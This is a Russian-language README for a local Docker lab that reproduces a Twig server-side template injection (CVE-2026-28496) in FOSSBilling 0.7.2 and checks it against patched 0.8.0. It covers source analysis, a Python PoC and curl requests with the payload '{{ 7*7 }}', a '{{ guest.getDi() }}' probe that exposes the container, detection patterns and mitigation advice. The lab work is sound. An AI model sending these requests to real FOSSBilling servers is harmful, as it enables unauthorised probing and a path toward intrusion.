В уязвимой цели вызов API возвращает:```json
{"result":"49","error":null}

Эта лабораторная работа проверяет поведение HTTP для уязвимой и пропатченной версий, используя FOSSBilling 0.7.2 и FOSSBilling 0.8.0.

Лабораторная работа намеренно ограничена локальными Docker-сервисами. Она не нацелена на внешние системы и не включает веб-оболочки, вредоносное ПО, персистентность, внешние обратные вызовы, дампы баз данных или разрушительные полезные нагрузки.

## Проверенные факты

| Утверждение                                                                               | Доказательство                                                                                                           | Как проверить в этой лабораторной работе                                                              |
| ----------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------- |
| CVE-2026-28496 затрагивает версии FOSSBilling до 0.8.0.                         | Публичные метаданные CVE и advisory указывают, что FOSSBilling до 0.8.0 подвержен Twig SSTI.                     | Изучите раздел References и сравните уязвимую и пропатченную целевые версии.  |
| FOSSBilling 0.7.2 используется как уязвимая цель для сравнения.                      | Уязвимый сервис собирается из официального Docker-образа `fossbilling/fossbilling:0.7.2`.                    | Изучите `vuln/Dockerfile` и выполните `docker compose ps -a`.                              |
| FOSSBilling 0.8.0 используется как пропатченная цель для сравнения.                         | Пропатченный сервис собирается из официального Docker-образа `fossbilling/fossbilling:0.8.0`.                       | Изучите `patched/Dockerfile` и выполните `docker compose ps -a`.                           |
| Уязвимый HTTP-путь — `/api/system/system/string_render`.                     | Уязвимая цель возвращает JSON с `result: "49"` для `_tpl={{ 7*7 }}`.                                       | Выполните `python3 poc/poc.py --url http://localhost:8081`.                                  |
| Пропатченная цель не демонстрирует такое же HTTP-поведение.                          | Пропатченная цель возвращает `Unknown API call system/system/string_render`.                                         | Выполните `python3 poc/poc.py --url http://localhost:8082`.                                  |
| PoC работает только через HTTP.                                                               | `poc/poc.py` отправляет HTTP POST-запросы и не вызывает Docker, Docker Compose, shell-команды или API контейнеров. | Изучите `poc/poc.py`.                                                                  |
| Лабораторная работа автоматически устанавливает обе цели FOSSBilling при запуске Docker Compose.       | Одноразовые контейнеры-установщики (sidecar) завершают настройку и выходят со статусом 0.                                   | Выполните `docker compose ps -a` и `docker compose logs installer-vuln installer-patched`. |
| Уязвимая цель отображает безвредное Twig-выражение.                         | HTTP-ответ с порта 8081: `{"result":"49","error":null}`.                                                | Выполните команду PoC для уязвимой цели.                                                        |
| Пропатченная цель не отображает то же выражение через проверяемый API-путь. | HTTP-ответ с порта 8082 — ошибка JSON API с кодом `879`.                                              | Выполните команду PoC для пропатченной цели.                                                           |

## Допущения и неизвестные

Эта лабораторная работа использует FOSSBilling 0.7.2 в качестве уязвимой цели для сравнения, поскольку публичные исследования уязвимостей указывают, что версии FOSSBilling до 0.8.0 подвержены уязвимости, а 0.7.2 — последняя уязвимая версия, использованная в протестированной цепочке.

Эта лабораторная работа использует FOSSBilling 0.8.0 в качестве пропатченной цели для сравнения, поскольку публичные метаданные advisory определяют 0.8.0 как пропатченную версию.

Эта лабораторная работа сосредоточена на наблюдаемом HTTP-поведении:```text
POST /api/system/system/string_render

Лабораторная работа демонстрирует, что FOSSBilling 0.7.2 выполняет рендеринг переданного Twig-выражения через путь HTTP API, тогда как FOSSBilling 0.8.0 не предоставляет тот же вызов API.

Лабораторная работа не претендует на проверку всех функций рендеринга шаблонов FOSSBilling. CVE-2026-28496 также относится к другим контекстам рендеринга Twig, например к функциям рендеринга шаблонов, доступным внутри приложения.

Лабораторная работа не демонстрирует полную цепочку неаутентифицированного удалённого выполнения кода. Она проверяет неаутентифицированное HTTP-поведение, наблюдаемое на локальной цели FOSSBilling 0.7.2, и сравнивает его с FOSSBilling 0.8.0. Полная публичная цепочка включает дополнительное поведение авторизации API помимо безопасной проверки Twig-выражений, показанной здесь.

Лабораторная работа не демонстрирует:

* удалённое выполнение команд,
* извлечение учётных данных,
* дамп базы данных,
* установку расширений,
* запись произвольных файлов,
* закрепление в системе,
* загрузку веб-шелла,
* внешние обратные вызовы,
* атаки на нелабораторные системы,
* или действия после эксплуатации.

## Сводка о первопричине

Первопричина CVE-2026-28496 — небезопасный рендеринг шаблонов Twig.

FOSSBilling использует Twig для рендеринга динамических шаблонов. В уязвимых версиях переданная строка шаблона может быть передана в логику рендеринга Twig без достаточных ограничений песочницы.

Уязвимое поведение можно кратко описать так:```text
Input template string
→ FOSSBilling API receives _tpl
→ System\Api\Admin::string_render() reads _tpl
→ System\Service::renderString() receives the template string
→ Twig creates a template from the supplied string
→ Twig evaluates the expression
→ rendered output is returned in the HTTP response

уязвимая цель вычисляет выражение и возвращает:```text
49

Исправленная конструкция в FOSSBilling 0.8.0 устраняет уязвимое поведение. В этой лабораторной работе пропатченная цель больше не предоставляет тестируемый вызов API:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

## Анализ исходного кода

В основе уязвимого HTTP-поведения лежит путь выполнения кода в FOSSBilling 0.7.2.

Метод API получает `_tpl` из данных запроса и передаёт его в системный сервис рендеринга.

Соответствующая уязвимая точка входа:```php
public function string_render($data)
{
    if (!isset($data['_tpl'])) {
        error_log('_tpl parameter not passed');
        return '';
    }

    $tpl = $data['_tpl'];
    $try_render = $data['_try'] ?? false;

    $vars = $data;
    unset($vars['_tpl'], $vars['_try']);

    return $this->getService()->renderString($tpl, $try_render, $vars);
}

В FOSSBilling 0.7.2, `renderString()` пытается загрузить предоставленное значение как имя шаблона. Если это не удаётся, он обрабатывает предоставленное значение как строку шаблона и передаёт её в `createTemplateFromString()`.

Упрощённый уязвимый поток:```php
public function renderString($tpl, $try_render, $vars)
{
    $twig = $this->di['twig'];

    try {
        $template = $twig->load($tpl);
        $parsed = $template->render($vars);
    } catch (\Exception) {
        // $twig->load throws an exception when $tpl is a raw template string
        $parsed = $this->createTemplateFromString($tpl, $try_render, $vars);
    }

    return $parsed;
}

    if (!$try_render) {
        throw $e;
    }
}

return $parsed;

Релевантный с точки зрения безопасности шаблон исходного кода:```text
_tpl from request data
→ used as $tpl
→ passed to Twig createTemplate()
→ rendered server-side

Уязвимый ответ:```json
{"result":"49","error":null}

Однако корневая причина более чувствительна с точки зрения безопасности, чем вычисление арифметических выражений. В уязвимых контекстах рендеринга шаблоны Twig могут взаимодействовать с объектами приложения, присутствующими в окружении шаблона. Публичные исследования описывают цепочки более высокого воздействия, где объекты контекста API могут открывать доступ к внутренним компонентам приложения, таким как контейнер внедрения зависимостей.

Проверка регрессии на уровне исходного кода подтвердила более глубокое поведение:```text
FOSSBilling 0.7.2:
  {{ guest.getDi() }}
  → DI_VISIBLE

FOSSBilling 0.8.0:
  {{ guest.getDi() }}
  → blocked by Twig sandbox policy

Изолированный рендерер создаёт и отображает шаблон, но перехватывает нарушения песочницы Twig и преобразует их в контролируемую ошибку приложения:```php
final class SandboxedStringRenderer
{
    public static function render(
        Environment $twig,
        string $content,
        array $context = [],
        string $name = 'template'
    ): string {
        try {
            return $twig->createTemplate($content)->render($context);
        } catch (SecurityError $e) {
            throw new InformationException(
                '%name% contains disallowed Twig syntax: %error%',
                [
                    '%name%' => $name,
                    '%error%' => $e->getMessage(),
                ]
            );
        }
    }
}

Изменение, связанное с безопасностью:```text
Before:
  request-controlled template string
  → Twig createTemplate()
  → render without the patched sandbox boundary

After:
  template string rendering
  → SandboxedStringRenderer
  → Twig sandbox policy
  → method/property access denied by default

Это даёт два полезных уровня проверки:```text
HTTP behavior validation:
  0.7.2 renders {{ 7*7 }} through /api/system/system/string_render.
  0.8.0 does not expose the same API behavior.

Source/root-cause validation:
  0.7.2 allows unsafe Twig rendering behavior.
  0.8.0 introduces sandboxed string rendering and blocks method/property access.

## Архитектура лаборатории

Лаборатория запускает две изолированные установки FOSSBilling с помощью Docker Compose.```text
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── scripts/
│   └── auto-install.sh
├── README.md
└── .gitignore

Лабораторный стенд использует фиксированные версии FOSSBilling:

| Target                | FOSSBilling version | Expected behavior                                   |
| --------------------- | ------------------: | --------------------------------------------------- |
| http://localhost:8081 |               0.7.2 | отображает `{{ 7*7 }}` через уязвимый путь API |
| http://localhost:8082 |               0.8.0 | не демонстрирует то же уязвимое поведение API    |

Установочные сайдкары запускаются автоматически во время `docker compose up`. Они инициализируют обе цели FOSSBilling локальными одноразовыми учётными данными базы данных и затем завершают работу.

Лабораторный стенд не создаёт и не изменяет уязвимый маршрут API.

Маршрут `/api/system/system/string_render` предоставляется приложением FOSSBilling в уязвимой цели 0.7.2 после установки. Docker-стенд только устанавливает приложение через обычный процесс установки и затем отправляет HTTP-запрос к существующей конечной точке приложения.

Исправленная цель 0.8.0 возвращает `Unknown API call system/system/string_render`, что подтверждает: тестируемое поведение маршрута исходит от самой версии приложения, а не от маршрута, созданного стендом.

## Требования

* Docker Desktop или Docker Engine
* Docker Compose v2
* Python 3
* Доступ в интернет при первой загрузке Docker-образа

Сторонние пакеты Python не требуются. PoC использует только модули стандартной библиотеки Python.

## Быстрый старт

Запустите стенд из чистого состояния:```bash
docker compose down -v --remove-orphans
docker compose up -d --build

Ожидаемые запущенные службы:```text
cve-2026-28496-vuln
cve-2026-28496-patched
cve-2026-28496-vuln-db
cve-2026-28496-patched-db

Проверьте логи установщика:```bash
docker compose logs installer-vuln installer-patched

Выполните HTTP-валидацию уязвимой цели:```bash
python3 poc/poc.py --url http://localhost:8081

## PoC Usage

PoC принимает один локальный базовый URL FOSSBilling:```bash
python3 poc/poc.py --url <target_url>

PoC отправляет этот HTTP-запрос:```text
POST /api/system/system/string_render
Content-Type: application/json

The PoC работает только через HTTP. Он не вызывает Docker, Docker Compose, shell-команды, WP-CLI или API контейнеров.

## Ожидаемые результаты

### Уязвимая цель

Команда:```bash
python3 poc/poc.py --url http://localhost:8081

### Пропатченная цель

Команда:```bash
python3 poc/poc.py --url http://localhost:8082

Важное различие заключается в следующем:```text
FOSSBilling 0.7.2
→ renders {{ 7*7 }}
→ returns 49

FOSSBilling 0.8.0
→ does not render the supplied template through this API path
→ returns an API error

Тело запроса содержит безобидное выражение Twig:```json
{"_tpl":"{{ 7*7 }}"}

Ожидаемое поведение после исправления:```text
HTTP 400 Bad Request
JSON error indicates the API call is unknown or not reachable

Для более глубокой проверки первопричины на уровне исходного кода доступ к методам является более убедительным доказательством основной проблемы. Однако публичный PoC в этом репозитории использует более безопасное арифметическое выражение, чтобы не демонстрировать цепочку с высоким уровнем воздействия.

## Ручное воспроизведение HTTP с помощью curl

Уязвимый запрос:```bash
curl -i -X POST \
  'http://127.0.0.1:8081/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

Пропатченный зонд:```bash
curl -i -X POST \
  'http://127.0.0.1:8082/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

## Воздействие

Server-Side Template Injection (инъекция шаблонов на стороне сервера) в платформе управления биллингом и клиентами критична с точки зрения безопасности, поскольку приложение может хранить записи о клиентах, данные биллинга, учётные данные серверов, платёжную конфигурацию и управляемую администратором логику автоматизации.

Продемонстрированный лабораторный payload безвреден и лишь вычисляет:```twig
{{ 7*7 }}

Подозрительный шаблон запроса:```text
POST /api/system/system/string_render
Content-Type: application/json

Пример шаблона журнала доступа:```text
POST /api/system/system/string_render

Рекомендуемые действия по мониторингу:

* Просмотрите журналы доступа веб-сервера на предмет `/api/system/system/string_render`.
* Просмотрите запросы, содержащие `_tpl` в теле JSON-запросов.
* Просмотрите запросы, содержащие синтаксис Twig, например `{{` и `}}`.
* Просмотрите успешные ответы API, содержащие вывод отрендеренных шаблонов.
* Просмотрите неудачные ответы API на предмет подозрительных попыток рендеринга шаблонов.
* Просмотрите активность администратора, если подозревается эксплуатация.
* Просмотрите изменения конфигурации шаблонов, электронной почты, массовой рассылки и платёжных адаптеров.
* Просмотрите журналы приложения на предмет ошибок рендеринга шаблонов или неожиданных вызовов API.

Идея высокосигнального обнаружения:```text
POST request to /api/system/system/string_render
AND request body contains "_tpl"
AND request body contains "{{"

## Рекомендации по устранению уязвимости и обновлению

Обновите FOSSBilling до версии 0.8.0 или новее.

Для производственных сред обновитесь до последнего доступного релиза, а не останавливайтесь на версии, использованной для лабораторного сравнения.

Рекомендуемые меры по смягчению последствий:

* Обновите FOSSBilling до 0.8.0 или новее.
* Убедитесь, что установленная версия не входит в затронутый диапазон.
* Ограничьте публичный доступ к путям административного API, где это возможно.
* Проверьте журналы веб-доступа на запросы к `/api/system/system/string_render`.
* Проверьте шаблоны, шаблоны электронных писем, массовые рассылки и пользовательские платёжные адаптеры на наличие подозрительного синтаксиса Twig.
* Ротируйте секреты при подозрении на эксплуатацию.
* Проверьте записи о клиентах, биллинге, платежах и управлении серверами на предмет несанкционированного доступа.
* Рассматривайте правила WAF или блокировки на обратном прокси как временные меры, а не как замену обновлению.

Уроки инженерной безопасности:

* Не выполняйте рендеринг недоверенных строк шаблонов в привилегированном контексте приложения.
* Не предоставляйте контейнеры сервисов приложения шаблонным контекстам.
* Используйте песочницу для рендеринга шаблонов, управляемых пользователем или администратором.
* Запрещайте доступ к методам и свойствам, если он явно не требуется.
* Обеспечьте явные ошибки авторизации API и отказ по умолчанию (fail closed).
* Относитесь к функциям рендеринга шаблонов как к поверхностям, близким к выполнению кода.

## Полезные команды для проверки

Проверьте статус контейнера:```bash
docker compose ps -a

Проверьте веб-сервисы:```bash
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head

Запустите исправленную проверку HTTP:```bash
python3 poc/poc.py --url http://localhost:8082

Вручную пропатченный запрос:```bash
curl -i -X POST \
  'http://127.0.0.1:8082/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

Проверьте пропатченный рендерер песочницы из извлечённого дерева исходного кода:```bash
git checkout 0.8.0

grep -R "SandboxedStringRenderer" -n src/modules src/library | head -30
grep -R "\$methods = \[\]\|\$properties = \[\]" -n src/library/FOSSBilling/Twig

Проверьте заголовки ответа FOSSBilling:```bash
curl -i http://127.0.0.1:8081 | grep -i 'x-fossbilling-version'
curl -i http://127.0.0.1:8082 | grep -i 'x-fossbilling-version'

Удалите контейнеры, сети и тома:```bash
docker compose down -v --remove-orphans

## Границы безопасности

Эта лаборатория предназначена только для локальных исследований безопасности и контролируемых демонстраций.

Не запускайте PoC или ручные curl-запросы против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.

Не используйте в этой лаборатории реальные производственные учётные данные, данные клиентов, платёжные данные, API-ключи или производственные секреты.

Предполагаемая область применения ограничена локальными Docker-сервисами, такими как:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082

## Ссылки

* Запись CVE: CVE-2026-28496
  https://www.cve.org/CVERecord?id=CVE-2026-28496

* Рекомендация GitHub: GHSA-57mv-jm88-66jc
  https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc

* VulnCheck: Обход аутентификации FOSSBilling и Twig SSTI до неаутентифицированного RCE
  https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce

* Документация FOSSBilling по Docker
  https://docs.fossbilling.org/getting-started/docker/

* Репозиторий FOSSBilling на GitHub
  https://github.com/FOSSBilling/FOSSBilling

* Docker-образ FOSSBilling
  https://hub.docker.com/r/fossbilling/fossbilling

* Документация Twig: расширение Sandbox
  https://twig.symfony.com/doc/3.x/sandbox.html